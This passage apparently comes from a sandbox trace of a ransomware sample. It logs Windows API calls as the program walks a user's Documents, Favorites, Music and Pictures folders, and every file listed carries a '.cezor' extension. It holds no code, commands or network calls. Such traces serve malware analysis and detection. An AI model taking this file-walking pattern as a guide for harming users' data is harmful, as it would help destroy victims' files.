ftCreationTime.dwLowDateTime=0x3c92fae0, ftCreationTime.dwHighDateTime=0x1d4c83e, ftLastAccessTime.dwLowDateTime=0x7b13b990, ftLastAccessTime.dwHighDateTime=0x1d4d10c, ftLastWriteTime.dwLowDateTime=0x14960090, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0xcb9d, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="wWuRiwRN3-J7Oj9WP.jpg.cezor", cAlternateFileName="WWURIW~1.CEZ")) returned 0xffffffff [0122.689] PeekMessageW (in: lpMsg=0x38eff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38eff08) returned 0 [0122.689] PeekMessageW (in: lpMsg=0x38efb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38efb74) returned 0 [0122.689] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Pictures\\") returned="My Pictures\\" [0122.689] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="Documents\\" [0122.689] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0122.689] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0122.689] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0122.689] PathFindFileNameW (pszPath="") returned="" [0122.689] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Pictures\\*", lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c92fae0, ftCreationTime.dwHighDateTime=0x1d4c83e, ftLastAccessTime.dwLowDateTime=0x7b13b990, ftLastAccessTime.dwHighDateTime=0x1d4d10c, ftLastWriteTime.dwLowDateTime=0x14960090, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0xcb9d, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="wWuRiwRN3-J7Oj9WP.jpg.cezor", cAlternateFileName="WWURIW~1.CEZ")) returned 0xffffffff [0122.689] PeekMessageW (in: lpMsg=0x38eff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38eff08) returned 0 [0122.689] PeekMessageW (in: lpMsg=0x38efb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38efb74) returned 0 [0122.689] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\") returned="My Shapes\\" [0122.689] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="Documents\\" [0122.689] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0122.690] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0122.690] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0122.690] PathFindFileNameW (pszPath="") returned="" [0122.690] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\*", lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x9e9e4460, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x149861f0, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x149861f0, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ffa828 [0122.690] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\desktop.ini") returned=".ini" [0122.690] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\Favorites.vss.cezor") returned=".cezor" [0122.690] FindClose (in: hFindFile=0x2ffa828 | out: hFindFile=0x2ffa828) returned 1 [0122.690] PeekMessageW (in: lpMsg=0x38eff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38eff08) returned 0 [0122.690] PeekMessageW (in: lpMsg=0x38efb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38efb74) returned 0 [0122.690] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Videos\\") returned="My Videos\\" [0122.690] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="Documents\\" [0122.690] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0122.690] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0122.690] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0122.690] PathFindFileNameW (pszPath="") returned="" [0122.690] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Videos\\*", lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x9ebad4e0, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x14fc5bb0, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x14fc5bb0, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_private", cAlternateFileName="")) returned 0xffffffff [0122.690] PeekMessageW (in: lpMsg=0x38eff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38eff08) returned 0 [0122.691] PeekMessageW (in: lpMsg=0x38efb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38efb74) returned 0 [0122.691] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files\\") returned="Outlook Files\\" [0122.691] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="Documents\\" [0122.691] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0122.691] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0122.691] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0122.691] PathFindFileNameW (pszPath="") returned="" [0122.691] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files\\*", lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a7a9f80, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x14a90b90, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x14a90b90, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ffa828 [0122.691] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files\\voeimd@djhreuu.uhd.pst.cezor") returned=".cezor" [0122.691] FindClose (in: hFindFile=0x2ffa828 | out: hFindFile=0x2ffa828) returned 1 [0122.691] PeekMessageW (in: lpMsg=0x38eff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38eff08) returned 0 [0122.691] PeekMessageW (in: lpMsg=0x38efb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38efb74) returned 0 [0122.691] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Yw9G-4_B\\") returned="Yw9G-4_B\\" [0122.691] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="Documents\\" [0122.691] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0122.691] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0122.691] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0122.691] PathFindFileNameW (pszPath="") returned="" [0122.692] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Yw9G-4_B\\*", lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3f5a1350, ftCreationTime.dwHighDateTime=0x1d4ca71, ftLastAccessTime.dwLowDateTime=0x14b02fb0, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x14b02fb0, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ffa828 [0122.692] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Yw9G-4_B\\68l k.odp.cezor") returned=".cezor" [0122.692] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Yw9G-4_B\\foWRjFtWYtlcWkIBF.ppt.cezor") returned=".cezor" [0122.692] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Yw9G-4_B\\l8IL3_dOyLyH.odp.cezor") returned=".cezor" [0122.692] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Yw9G-4_B\\QITXJJCFSuy.rtf.cezor") returned=".cezor" [0122.692] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Yw9G-4_B\\wYeZ7WgnHNP8l.rtf.cezor") returned=".cezor" [0122.692] FindClose (in: hFindFile=0x2ffa828 | out: hFindFile=0x2ffa828) returned 1 [0122.693] PeekMessageW (in: lpMsg=0x38eff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38eff08) returned 0 [0122.693] PeekMessageW (in: lpMsg=0x38efb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38efb74) returned 0 [0122.693] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\") returned="Links\\" [0122.693] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\") returned="Favorites\\" [0122.693] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0122.693] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0122.693] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0122.693] PathFindFileNameW (pszPath="") returned="" [0122.694] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\*", lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x14b4f270, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x14b4f270, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ffa828 [0122.694] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\desktop.ini") returned=".ini" [0122.694] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\Suggested Sites.url.cezor") returned=".cezor" [0122.694] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\Web Slice Gallery.url.cezor") returned=".cezor" [0122.694] FindClose (in: hFindFile=0x2ffa828 | out: hFindFile=0x2ffa828) returned 1 [0122.694] PeekMessageW (in: lpMsg=0x38eff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38eff08) returned 0 [0122.694] PeekMessageW (in: lpMsg=0x38efb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38efb74) returned 0 [0122.694] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\") returned="Microsoft Websites\\" [0122.694] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\") returned="Favorites\\" [0122.694] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0122.694] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0122.694] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0122.694] PathFindFileNameW (pszPath="") returned="" [0122.694] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\*", lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x14bc1690, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x14bc1690, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ffa828 [0122.695] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\IE Add-on site.url.cezor") returned=".cezor" [0122.695] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\IE site on Microsoft.com.url.cezor") returned=".cezor" [0122.695] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\Microsoft At Home.url.cezor") returned=".cezor" [0122.695] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\Microsoft At Work.url.cezor") returned=".cezor" [0122.695] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\Microsoft Store.url.cezor") returned=".cezor" [0122.695] FindClose (in: hFindFile=0x2ffa828 | out: hFindFile=0x2ffa828) returned 1 [0122.696] PeekMessageW (in: lpMsg=0x38eff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38eff08) returned 0 [0122.696] PeekMessageW (in: lpMsg=0x38efb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38efb74) returned 0 [0122.697] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\") returned="MSN Websites\\" [0122.697] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\") returned="Favorites\\" [0122.697] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0122.697] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0122.697] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0122.697] PathFindFileNameW (pszPath="") returned="" [0122.697] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\*", lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x14c59c10, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x14c59c10, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ffa828 [0122.698] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Autos.url.cezor") returned=".cezor" [0122.698] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Entertainment.url.cezor") returned=".cezor" [0122.698] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Money.url.cezor") returned=".cezor" [0122.698] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Sports.url.cezor") returned=".cezor" [0122.698] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN.url.cezor") returned=".cezor" [0122.698] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSNBC News.url.cezor") returned=".cezor" [0122.698] FindClose (in: hFindFile=0x2ffa828 | out: hFindFile=0x2ffa828) returned 1 [0122.699] PeekMessageW (in: lpMsg=0x38eff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38eff08) returned 0 [0122.699] PeekMessageW (in: lpMsg=0x38efb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38efb74) returned 0 [0122.699] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\") returned="Windows Live\\" [0122.699] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\") returned="Favorites\\" [0122.699] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0122.699] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0122.699] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0122.699] PathFindFileNameW (pszPath="") returned="" [0122.699] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\*", lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x14ccc030, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x14ccc030, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ffa828 [0122.700] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Get Windows Live.url.cezor") returned=".cezor" [0122.700] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Windows Live Gallery.url.cezor") returned=".cezor" [0122.700] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Windows Live Mail.url.cezor") returned=".cezor" [0122.700] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Windows Live Spaces.url.cezor") returned=".cezor" [0122.700] FindClose (in: hFindFile=0x2ffa828 | out: hFindFile=0x2ffa828) returned 1 [0122.701] PeekMessageW (in: lpMsg=0x38eff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38eff08) returned 0 [0122.701] PeekMessageW (in: lpMsg=0x38efb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38efb74) returned 0 [0122.701] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bAXbPKiwKvGBE_6IlyS\\") returned="bAXbPKiwKvGBE_6IlyS\\" [0122.701] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\") returned="Music\\" [0122.701] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0122.701] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0122.701] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0122.701] PathFindFileNameW (pszPath="") returned="" [0122.701] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bAXbPKiwKvGBE_6IlyS\\*", lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x317333d0, ftCreationTime.dwHighDateTime=0x1d4d033, ftLastAccessTime.dwLowDateTime=0x14dd69d0, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x14dd69d0, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ffa828 [0122.702] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bAXbPKiwKvGBE_6IlyS\\AwfOXmr1.mp3.cezor") returned=".cezor" [0122.702] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bAXbPKiwKvGBE_6IlyS\\hd0rzFg.m4a.cezor") returned=".cezor" [0122.702] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bAXbPKiwKvGBE_6IlyS\\j34KVbd 7j.mp3.cezor") returned=".cezor" [0122.702] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bAXbPKiwKvGBE_6IlyS\\KeEk_O9.mp3.cezor") returned=".cezor" [0122.702] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bAXbPKiwKvGBE_6IlyS\\lGrnoXKuinB.m4a.cezor") returned=".cezor" [0122.702] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bAXbPKiwKvGBE_6IlyS\\lWn6_.m4a.cezor") returned=".cezor" [0122.702] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bAXbPKiwKvGBE_6IlyS\\MChYwIiGCBst93Q.wav.cezor") returned=".cezor" [0122.702] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bAXbPKiwKvGBE_6IlyS\\O_o33d.m4a.cezor") returned=".cezor" [0122.702] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bAXbPKiwKvGBE_6IlyS\\RU_Ytkp2w qp.mp3.cezor") returned=".cezor" [0122.702] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bAXbPKiwKvGBE_6IlyS\\sGdLslAC.mp3.cezor") returned=".cezor" [0122.702] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bAXbPKiwKvGBE_6IlyS\\twAQxH8FOS.m4a.cezor") returned=".cezor" [0122.702] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bAXbPKiwKvGBE_6IlyS\\W783g cZVYe_Q3ZTfs.mp3.cezor") returned=".cezor" [0122.702] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bAXbPKiwKvGBE_6IlyS\\_BaDSqvWqTCo.m4a.cezor") returned=".cezor" [0122.702] FindClose (in: hFindFile=0x2ffa828 | out: hFindFile=0x2ffa828) returned 1 [0122.703] PeekMessageW (in: lpMsg=0x38eff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38eff08) returned 0 [0122.703] PeekMessageW (in: lpMsg=0x38efb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38efb74) returned 0 [0122.703] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\1oLW\\") returned="1oLW\\" [0122.703] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\") returned="Pictures\\" [0122.703] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0122.703] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0122.703] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0122.703] PathFindFileNameW (pszPath="") returned="" [0122.703] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\1oLW\\*", lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x944a3f40, ftCreationTime.dwHighDateTime=0x1d4c9e3, ftLastAccessTime.dwLowDateTime=0x14ee1370, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x14ee1370, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ffa828 [0122.704] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\1oLW\\-ExuX9LOjl2Rf0Z.png.cezor") returned=".cezor" [0122.704] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\1oLW\\3mlI5OW4Ceei.png.cezor") returned=".cezor" [0122.704] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\1oLW\\4iAitK.png.cezor") returned=".cezor" [0122.704] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\1oLW\\4X0WuHIKFlmcsmSj8wH.jpg.cezor") returned=".cezor" [0122.704] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\1oLW\\60jL.jpg.cezor") returned=".cezor" [0122.704] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\1oLW\\AfHqN B.gif.cezor") returned=".cezor" [0122.704] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\1oLW\\u3J7SbbSL4_idzLNM.bmp.cezor") returned=".cezor" [0122.705] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\1oLW\\UYXfotd1.png.cezor") returned=".cezor" [0122.705] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\1oLW\\v9Hxi uz2vt-5XDoxdC.bmp.cezor") returned=".cezor" [0122.705] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\1oLW\\wpAW.jpg.cezor") returned=".cezor" [0122.705] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\1oLW\\xRTD4.png.cezor") returned=".cezor" [0122.705] FindClose (in: hFindFile=0x2ffa828 | out: hFindFile=0x2ffa828) returned 1 [0122.705] PeekMessageW (in: lpMsg=0x38eff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38eff08) returned 0 [0122.705] PeekMessageW (in: lpMsg=0x38efb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38efb74) returned 0 [0122.706] PathFindFileNameW 